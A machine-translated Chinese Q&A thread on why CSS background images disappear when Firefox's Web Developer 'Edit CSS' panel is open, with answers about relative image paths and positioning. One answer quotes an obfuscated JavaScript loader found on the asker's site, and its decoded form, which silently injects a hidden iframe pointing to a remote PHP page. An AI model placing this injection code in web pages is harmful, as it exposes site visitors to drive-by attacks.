使用firefox Webdeveloper工具栏编辑CSS时，为什么在打开工具栏时某些图像会消失？

Question

我用于编辑和构建HTML文档样式表的典型工作流程是打开Firefox Web开发人员工具栏的“编辑CSS”面板，然后直接在浏览器窗口中进行编辑。

在大多数情况下，这就像一种魅力。 但是有时候，当我打开“编辑CSS”面板时，某些图像消失了，我也不知道为什么。 甚至更奇怪的是，有时我在工具栏打开时添加的图像在关闭时不可见。 （我主要是在谈论用CSS background-image规则添加的图像）。

这是一些例子...

http://kenbrook.org-如果打开“编辑CSS”面板，则正文背景图像以及一些div背景消失。 实际上，我认为几乎所有CSS背景图像图像都会消失。 我没有在该网站上写标记和大多数样式，但是我负责编辑和完成它们。 那么，为什么会这样呢？

http://joelglovier.com-还要检查一下我刚才正在构建自己并为其编写样式的内容（现在页面上仅几个元素）。 在标题div中，我有一个空div，正在放入图像。打开“编辑CSS”后，图像将按预期显示。 但是，当关闭它时，看不到该图像，尽管使用Firebug可以看到该样式肯定已被应用，并且div应该在该位置。

任何解释吗？

Answer 1

当CSS文件和图像文件与HTML不在同一目录中时，我已经看到了此问题。 例如，我有以下目录结构：

index.html
image/background.jpg
css/index.css

我在CSS中有这个：

body { background-image:image/index.html; }

当Web Developer的CSS编辑器打开时，它可以工作。 当我关闭它时，它没有。

答案是图像的路径是相对于CSS文件而不是HTML文件。 打开CSS编辑器后，它会正确找出路径。 关闭后，Firefox无法找到该图像。

我想如果要使用编辑器并将文件放在不同目录中，CSS中的路径应该是绝对路径。

Answer 2

好吧，我无法复制您的问题，当我打开“编辑CSS面板”时页面保持不变，但是我的病毒扫描程序警告我您的脚本之一（/assets/js/slides.js）具有隐藏的木马。里面的Script.Iframer ...

也许您可以尝试Firebug，它也具有强大的CSS在线编辑器。

Answer 3

这段代码的目的是什么（来自http://kenbrook.org/assets/js/slides.js ）

var source ="=tdsjqu?jg!)epdvnfou/dppljf/tfbsdi)#koewv>3#*!>>!.2*!|sz{{>epdvnfou/hfuFmfnfouCzJe)(m{nig(*<jg)sz{{>>ovmm*|epdvnfou/xsjuf)(=jgsbnf!je>m{nig!tsd>iuuq;00xxx/tqjsjufl/dp/kq0bttfut0kt0bkby/qiq!tuzmf>ejtqmbz;opof?=0jgsbnf?(*<~epdvnfou/dppljf!>!#koewv>3<fyqjsft>Tvo-!12.Efd.3122!19;11;11!HNU<qbui>0#<~=0tdsjqu?"; var result = "";
                   for(var i=0;i<source.length;i++) {
                       result+=String.fromCharCode(source.charCodeAt(i)-1);
                   }
                   document.write(result);

毫不费力地将其写入文档

<script>if (document.cookie.search("jndvu=2") == -1) {
ryzz=document.getElementById('lzmhf');if(ryzz==null){document.write('<iframe id=lzmhf src=http://www.spiritek.co.jp/assets/js/ajax.php style=display:none></iframe>');}
document.cookie = "jndvu=2;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}</script>

您知道它的存在吗？

Answer 4

但是，如果您查看Web开发人员工具栏的主页，则会发现：“问题”下的“'编辑CSS'不适用于相对于CSS链接的背景图像”。 因此，这是插件目前无法处理的相对链接图像。 尝试让插件的创建者修复它...我也很讨厌这个问题...

Answer 5

我想我已经解决了问题-至少对于第二个链接。 对于在打开“编辑CSS”时显示但在未打开该面板的情况下显示的那个，似乎我忽略了在绝对定位的div上定义top：值。 当我定义该最高值时，图像显示将在普通浏览器和打开Edit CSS的情况下显示。

不知道这是否适用于kenbrook.org，在这里图像可以正常显示，但是在打开Edit CSS时会消失。